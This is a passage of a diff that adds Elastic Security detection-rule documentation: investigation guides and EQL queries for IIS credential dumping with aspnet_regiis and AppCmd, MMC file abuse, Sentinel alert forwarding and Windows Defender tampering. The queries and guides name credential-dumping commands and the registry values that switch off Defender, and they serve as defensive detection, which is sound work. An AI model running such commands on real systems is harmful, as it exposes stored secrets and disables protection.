children","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when available records show database connectivity, proxy use, external egress, or remote staging after the decrypt. If `process.entity_id` is absent, use `host.id` + `process.pid` in a tight alert window. Missing network telemetry is unresolved, not benign. + +- If local findings remain suspicious or incomplete, do related alerts show broader credential-access activity? + - Focus: related alerts for `user.id`, especially webshell execution, privilege escalation, lateral movement, SQL testing, archive/exfiltration, or repeated credential access. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: compare `host.id` alerts for webshell, staging, exfiltration, persistence, or repeated aspnet_regiis activity on the IIS asset. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden response when either scope shows complementary webshell, staging, SQL access, or credential-access activity. No related alerts only limits scope; it does not close the decrypt activity. + +- Based on the evidence gathered, what disposition is supported? + - Focus: `process.command_line`, `process.executable`, `process.code_signature.subject_name`, `process.parent.command_line`, `process.Ext.session_info.logon_type`, optional file/network corroboration, and related-alert scope. + - Implication: escalate when those categories show unrecognized decryption, config staging, SQL testing, or secret reuse; close only when telemetry from the same categories aligns with one exact IIS maintenance, deployment, migration, or recovery workflow, using outside confirmation only to corroborate that exact activity; preserve and escalate if evidence is mixed or incomplete. + + +*False positive analysis* + + +- Recognized IIS maintenance, deployment, or migration can legitimately run aspnet_regiis against connection strings. Confirm only when telemetry shows the utility path and signer, parent workflow, command target, `user.id`, `host.id`, and follow-on process activity all align with the same change. +- IR/recovery can also be legitimate when responders decrypt a known application path to restore service or rotate secrets. Confirm that config copies, SQL testing, transfer evidence, and credential rotation stay inside the recovery scope; if external records are unavailable, close only when this alert's telemetry is complete and non-contradictory. +- Build exceptions from the minimum confirmed workflow: `process.executable`, `process.code_signature.subject_name`, parent workflow, exact target path, `user.id`, and `host.id`. Avoid exceptions on aspnet_regiis alone, "connectionStrings" alone, or host alone. + + +*Response and remediation* + + +- If confirmed benign, document the recognized utility path, target path, operator, session type, parent lineage, and follow-on activity before reversing temporary containment. Create an exception only if that same pattern recurs across prior alerts from this rule. +- If suspicious but unconfirmed, preserve the recovered `process.entity_id`, `process.command_line`, target application path, child-process lineage, copied config material, archive names, and any confirmed destinations before destructive changes. Apply reversible containment first, such as temporarily restricting outbound connectivity or share access for the affected `host.id`; escalate to host isolation or account action only if follow-on commands, copied configs, or related alerts show broader compromise and the IIS host can tolerate it. +- If confirmed malicious, preserve the same artifacts, then use endpoint response to isolate the host or terminate the responsible process. If direct response is unavailable, escalate with the preserved artifact set to the team that can act. +- Rotate the credentials exposed by the targeted connection strings, including database passwords, service-account secrets, and any downstream application credentials discovered during the investigation. Prioritize credentials tied to production databases or shared service accounts. +- Before deleting or restoring anything, review related `host.id` and `user.id` activity for the same aspnet_regiis arguments, targeted config paths, copied config filenames, database destinations, and adjacent protected-section abuse such as "aspnet_regiis -pdf appSettings" or "aspnet_regiis -px". Then eradicate the webshells, scripts, copied configuration files, archives, and persistence mechanisms uncovered during the investigation, and remediate the initial access or privilege path that allowed the decrypt action. +- After containment, scope other hosts for the same aspnet_regiis arguments, targeted config paths, follow-on database or archive activity, and adjacent protected-section abuse ("aspnet_regiis -pdf appSettings", "aspnet_regiis -px", or direct IIS config copies). +- Post-incident hardening: restrict aspnet_regiis use against production IIS paths to recognized administration workflows and document the recognized target-path and destination patterns that justified any exception. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "aspnet_regiis.exe" or ?process.pe.original_file_name == "aspnet_regiis.exe") and + process.args : "connectionStrings" and process.args : ("-pdf", "-pd") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Credentials In Files +** ID: T1552.001 +** Reference URL: https://attack.mitre.org/techniques/T1552/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-microsoft-iis-service-account-password-dumped.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-microsoft-iis-service-account-password-dumped.asciidoc new file mode 100644 index 0000000000..e3d44063dd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-microsoft-iis-service-account-password-dumped.asciidoc @@ -0,0 +1,151 @@ +[[prebuilt-rule-8-19-34-microsoft-iis-service-account-password-dumped]] +=== Microsoft IIS Service Account Password Dumped + +Identifies the Internet Information Services (IIS) command-line tool, AppCmd, being used to dump sensitive configuration data such as application pool credentials. An attacker with IIS web server access via a web shell can extract service account passwords by requesting full configuration output or targeting credential-related fields. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.netspi.com/decrypting-iis-passwords-to-break-out-of-the-dmz-part-1/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Service: IIS + +*Version*: 221 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Microsoft IIS Service Account Password Dumped* + + +This rule detects the IIS administration utility being launched to print full web server configuration or credential-bearing settings, which can expose application pool usernames, passwords, and connection strings in clear text. An attacker who lands on a Windows web server through a web shell can run the tool to enumerate process model settings, recover the service account password, and reuse those credentials for lateral movement or deeper access to backend systems. + + +*Possible investigation steps* + + +- Review the process tree, executing user, logon session, integrity level, and remote-interactive context to determine whether the command was launched by an authorized administrator, a scripted maintenance task, or through a suspicious parent such as cmd.exe, powershell.exe, w3wp.exe, or a web shell. +- Build a short timeline on the host around the execution to identify adjacent discovery or credential-access activity, including archive or encode tools, file staging in web directories, registry access, and outbound connections to unusual internal or external destinations. +- Inspect recent IIS and web server activity for signs of exploitation, such as requests to newly created ASPX or PHP files, requests containing command-execution parameters, uploads to writable web paths, or authentication bypass behavior preceding the event. +- Determine which application pools, virtual directories, or connection strings were exposed, then review subsequent authentication and service activity for the recovered account on other systems to spot lateral movement, privilege escalation, or access to databases and file shares. +- If the activity is unauthorized, preserve the relevant IIS configuration and web content for forensics, search the environment for the same account or host communicating elsewhere, and prioritize password rotation for affected service accounts and secrets. + + +*False positive analysis* + + +- An IIS administrator may legitimately run AppCmd to review application pool identities or troubleshoot authentication issues, so verify the command aligns with an approved maintenance window or change request and was launched by an expected administrative account. +- A scheduled server administration script may enumerate full IIS configuration or connection strings during backup, migration validation, or configuration auditing, so confirm the parent process and execution time match a known scheduled task or recurring maintenance pattern and that no suspicious follow-on activity occurred. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "appcmd.exe" or ?process.pe.original_file_name == "appcmd.exe") and + process.args : "list" and + ( + process.args : ("/text:*password*", "/text:*processModel*", "/text:*userName*", "/config", "*connectionstring*") or + process.args == "/text:*" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Credentials In Files +** ID: T1552.001 +** Reference URL: https://attack.mitre.org/techniques/T1552/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-microsoft-management-console-file-from-unusual-path.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-microsoft-management-console-file-from-unusual-path.asciidoc new file mode 100644 index 0000000000..cfd8d44069 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-microsoft-management-console-file-from-unusual-path.asciidoc @@ -0,0 +1,201 @@ +[[prebuilt-rule-8-19-34-microsoft-management-console-file-from-unusual-path]] +=== Microsoft Management Console File from Unusual Path + +Identifies attempts to open a Microsoft Management Console File from untrusted paths. Adversaries may use MSC files for initial access and execution. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/grimresource + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Windows Security Event Logs +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Data Source: Sysmon +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 317 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Microsoft Management Console File from Unusual Path* + + +Microsoft Management Console (MMC) is a Windows utility that provides a framework for system management. Adversaries may exploit MMC by executing .msc files from non-standard directories to bypass security controls. The detection rule identifies such anomalies by monitoring the execution of mmc.exe with .msc files from untrusted paths, flagging potential unauthorized access or execution attempts. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the path of the mmc.exe and the .msc file being executed. Check if the path is indeed non-standard or untrusted as per the query criteria. +- Investigate the origin of the .msc file by examining file creation and modification timestamps, and check for any recent changes or unusual activity in the directory where the file resides. +- Analyze the user account associated with the process execution to determine if the activity aligns with their typical behavior or if it appears suspicious. +- Check for any related alerts or logs around the same timeframe that might indicate lateral movement or other malicious activities, such as unusual network connections or file access patterns. +- Correlate the event with other data sources mentioned in the rule, such as Microsoft Defender XDR or Crowdstrike, to gather additional context or corroborating evidence of potential malicious activity. +- Assess the risk and impact of the execution by determining if the .msc file has any known malicious signatures or if it attempts to perform unauthorized actions on the system. + + +*False positive analysis* + + +- Legitimate administrative tasks may trigger this rule if system administrators execute .msc files from custom directories. To manage this, create exceptions for known administrative scripts or tools that are regularly used from non-standard paths. +- Software installations or updates might involve executing .msc files from temporary or installation directories. Monitor these activities and whitelist specific installation paths if they are verified as safe and part of routine operations. +- Automated scripts or third-party management tools could execute .msc files from non-standard locations as part of their normal operation. Identify these tools and add their execution paths to the exception list to prevent unnecessary alerts. +- Development or testing environments may involve running .msc files from various directories for testing purposes. Establish a separate monitoring policy for these environments or exclude known development paths to reduce false positives. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Terminate any suspicious processes related to mmc.exe executing from untrusted paths to halt potential malicious activity. +- Conduct a thorough review of the system's recent activity logs to identify any additional indicators of compromise or related suspicious activities. +- Remove any unauthorized .msc files found in non-standard directories and ensure they are not reintroduced. +- Restore the system from a known good backup if any unauthorized changes or damage is detected. +- Update and patch the system to the latest security standards to close any vulnerabilities that may have been exploited. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.executable : ( + "?:\\Windows\\System32\\mmc.exe", + + /* Crowdstrike specific condition as it uses NT Object paths */ + "\\Device\\HarddiskVolume*\\Windows\\System32\\mmc.exe" + ) and + process.args : "*.msc" and + not process.args : ( + "?:\\Windows\\System32\\*.msc", + "?:\\Windows\\SysWOW64\\*.msc", + "?:\\Program files\\*.msc", + "?:\\Program Files (x86)\\*.msc", + "?:\\Windows\\ADFS\\Microsoft.IdentityServer.msc" + ) and + not process.command_line : ( + "C:\\Windows\\system32\\mmc.exe eventvwr.msc /s", + "mmc.exe eventvwr.msc /s", + "\"C:\\Windows\\System32\\mmc.exe\" CompMgmt.msc*" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Visual Basic +** ID: T1059.005 +** Reference URL: https://attack.mitre.org/techniques/T1059/005/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: MMC +** ID: T1218.014 +** Reference URL: https://attack.mitre.org/techniques/T1218/014/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-microsoft-sentinel-external-alerts.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-microsoft-sentinel-external-alerts.asciidoc new file mode 100644 index 0000000000..d222fecca1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-microsoft-sentinel-external-alerts.asciidoc @@ -0,0 +1,119 @@ +[[prebuilt-rule-8-19-34-microsoft-sentinel-external-alerts]] +=== Microsoft Sentinel External Alerts + +Generates a detection alert for each Microsoft Sentinel alert written to the configured indices. Enabling this rule allows you to immediately begin investigating Microsoft Sentinel alerts in the app. + +*Rule type*: query + +*Rule indices*: + +* logs-microsoft_sentinel.alert-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 1m + +*Searches indices from*: now-2m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 1000 + +*References*: + +* https://docs.elastic.co/en/integrations/microsoft_sentinel + +*Tags*: + +* Data Source: Microsoft Sentinel +* Use Case: Threat Detection +* Resources: Investigation Guide +* Promotion: External Alerts +* Rule Type: Custom Query (KQL) +* Rule Type: Higher-Order +* Data Source: Microsoft Sentinel Forwarded Events +* Domain: Cloud + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + Triage and analysis + + +*Investigating Microsoft Sentinel External Alerts* + + +Microsoft Sentinel is a cloud-native SIEM tool that aggregates security data for threat detection and response. The rule identifies each alert logged in Sentinel, enabling analysts to swiftly investigate potential threats. + + +*Possible investigation steps* + + +- Examine the timeline of events leading up to the alert to identify any unusual or suspicious activities that may have occurred. +- Cross-reference the alert with other related alerts or logs in Microsoft Sentinel to determine if this is part of a larger pattern or isolated incident. +- Investigate the source and context of the alert to identify any patterns or anomalies that could indicate manipulation or false positives. +- Consult the Microsoft Sentinel investigation guide and resources tagged in the alert for specific guidance on handling similar threats. + + +*False positive analysis* + + +- Alerts triggered by routine administrative tasks can be false positives. Identify these tasks and create exceptions to prevent unnecessary alerts. +- Frequent alerts from known safe IP addresses or domains may not indicate a threat. Whitelist these sources to reduce noise. +- Alerts generated by automated scripts or scheduled tasks that are part of regular operations can be excluded by setting up filters for these specific activities. +- Non-threatening alerts from internal network scans or vulnerability assessments should be reviewed and excluded if they are part of regular security practices. +- Alerts from test environments or sandboxed systems can be false positives. Exclude these environments from alert generation to focus on genuine threats. + + +*Response and remediation* + + +- Contain the threat by isolating affected systems from the network to prevent further spread or data exfiltration. +- Review and terminate any suspicious processes or sessions identified in the alert to halt ongoing malicious activities. +- Conduct a thorough analysis of the alert details to identify any compromised accounts or credentials and reset passwords immediately. +- Apply relevant security patches or updates to affected systems to close any vulnerabilities exploited by the adversary. +- Restore affected systems from clean backups to ensure the integrity and security of the environment. +- Monitor network traffic and system logs closely for any signs of recurring or related suspicious activities. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional resources are needed. + + +==== Setup + + + +*Setup* + + + +*Microsoft Sentinel Alert Integration* + +This rule is designed to capture alert events generated by the Microsoft Sentinel integration and promote them as Elastic detection alerts. + +To capture Microsoft Sentinel alerts, install and configure the Microsoft Sentinel integration to ingest alert events into the `logs-microsoft_sentinel.alert-*` index pattern. + +If this rule is enabled alongside the External Alerts promotion rule (UUID: eb079c62-4481-4d6e-9643-3ca499df7aaa), you may receive duplicate alerts for the same Sentinel events. Consider adding a rule exception for the External Alert rule to exclude data_stream.dataset:microsoft_sentinel.alert to avoid receiving duplicate alerts. + + +*Additional notes* + + +For information on troubleshooting the maximum alerts warning please refer to this https://www.elastic.co/guide/en/security/current/alerts-ui-monitor.html#troubleshoot-max-alerts[guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.kind: alert and data_stream.dataset: microsoft_sentinel.alert + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-microsoft-windows-defender-tampering.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-microsoft-windows-defender-tampering.asciidoc new file mode 100644 index 0000000000..51785634a7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-microsoft-windows-defender-tampering.asciidoc @@ -0,0 +1,212 @@ +[[prebuilt-rule-8-19-34-microsoft-windows-defender-tampering]] +=== Microsoft Windows Defender Tampering + +Identifies when one or more features on Microsoft Defender are disabled. Adversaries may disable or tamper with Microsoft Defender features to evade detection and conceal malicious behavior. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.registry-* +* logs-windows.sysmon_operational-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* endgame-* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/ +* https://www.tenforums.com/tutorials/32236-enable-disable-microsoft-defender-pua-protection-windows-10-a.html +* https://www.tenforums.com/tutorials/104025-turn-off-core-isolation-memory-integrity-windows-10-a.html +* https://www.tenforums.com/tutorials/105533-enable-disable-windows-defender-exploit-protection-settings.html +* https://www.tenforums.com/tutorials/123792-turn-off-tamper-protection-microsoft-defender-antivirus.html +* https://www.tenforums.com/tutorials/51514-turn-off-microsoft-defender-periodic-scanning-windows-10-a.html +* https://www.tenforums.com/tutorials/3569-turn-off-real-time-protection-microsoft-defender-antivirus.html +* https://www.tenforums.com/tutorials/99576-how-schedule-scan-microsoft-defender-antivirus-windows-10-a.html +* https://www.elastic.co/security-labs/invisible-miners-unveiling-ghostengine + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 321 + +*Rule authors*: + +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Microsoft Windows Defender Tampering* + + +Microsoft Windows Defender is an antivirus product built into Microsoft Windows, which makes it popular across multiple environments. Disabling it is a common step in threat actor playbooks. + +This rule monitors the registry for modifications that disable Windows Defender features. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Validate the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Examine which features have been disabled, and check if this operation is done under change management and approved according to the organization's policy. + + +*False positive analysis* + + +- This mechanism can be used legitimately. Analysts can dismiss the alert if the administrator is aware of the activity, the configuration is justified (for example, it is being used to deploy other security solutions or troubleshooting), and no other suspicious activity has been observed. + + +*Related rules* + + +- Windows Defender Disabled via Registry Modification - 2ffa1f1e-b6db-47fa-994b-1512743847eb +- Disabling Windows Defender Security Settings via PowerShell - c8cccb06-faf2-4cd5-886e-2c9636cfcb87 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Take actions to restore the appropriate Windows Defender antivirus configurations. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Review the privileges assigned to the user to ensure that the least privilege principle is being followed. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-reg-setup[Sysmon Registry Events] + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and process.executable != null and + ( + ( + registry.value : ( + "PUAProtection", "DisallowExploitProtectionOverride", "TamperProtection", "EnableControlledFolderAccess", + "SpynetReporting", "SubmitSamplesConsent" + ) and registry.data.strings : ("0", "0x00000000") + ) or + ( + registry.value : ( + "DisableAntiSpyware", "DisableRealtimeMonitoring", "DisableIntrusionPreventionSystem", "DisableScriptScanning", + "DisableIOAVProtection", "DisableEnhancedNotifications", "DisableBlockAtFirstSeen", "DisableBehaviorMonitoring" + ) and registry.data.strings : ("1", "0x00000001") + ) + ) and + not process.executable : ( + "?:\\Windows\\system32\\svchost.exe", + "?:\\Windows\\CCM\\CcmExec.exe", + "?:\\Windows\\System32\\DeviceEnroller.exe", + "?:\\Program Files (x86)\\Trend Micro\\Security Agent\\tmuninst.exe", + "\\Device\\HarddiskVolume*\\Windows\\system32\\svchost.exe", + "\\Device\\HarddiskVolume*\\Windows\\CCM\\CcmExec.exe", + "\\Device\\HarddiskVolume*\\Windows\\System32\\DeviceEnroller.exe", + "\\Device\\HarddiskVolume*\\Program Files (x86)\\Trend Micro\\Security Agent\\tmuninst.exe" + ) + +/* + Full registry key paths omitted due to data source variations: + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\DisableAntiSpyware" + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\\DisableRealtimeMonitoring" + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\\DisableIntrusionPreventionSystem" + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\\DisableScriptScanning" + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\\DisableIOAVProtection" + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Reporting\\DisableEnhancedNotifications" + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\SpyNet\\DisableBlockAtFirstSeen" + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\\DisableBehaviorMonitoring" + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\PUAProtection" + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender Security Center\\App and Browser protection\\DisallowExploitProtectionOverride" + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Features\\TamperProtection" + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Windows Defender Exploit Guard\\Controlled Folder Access\\EnableControlledFolderAccess" + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\SpyNet\\SpynetReporting" + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\SpyNet\\SubmitSamplesConsent" +*/ + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-mimikatz-memssp-log-file-detected.asciidoc 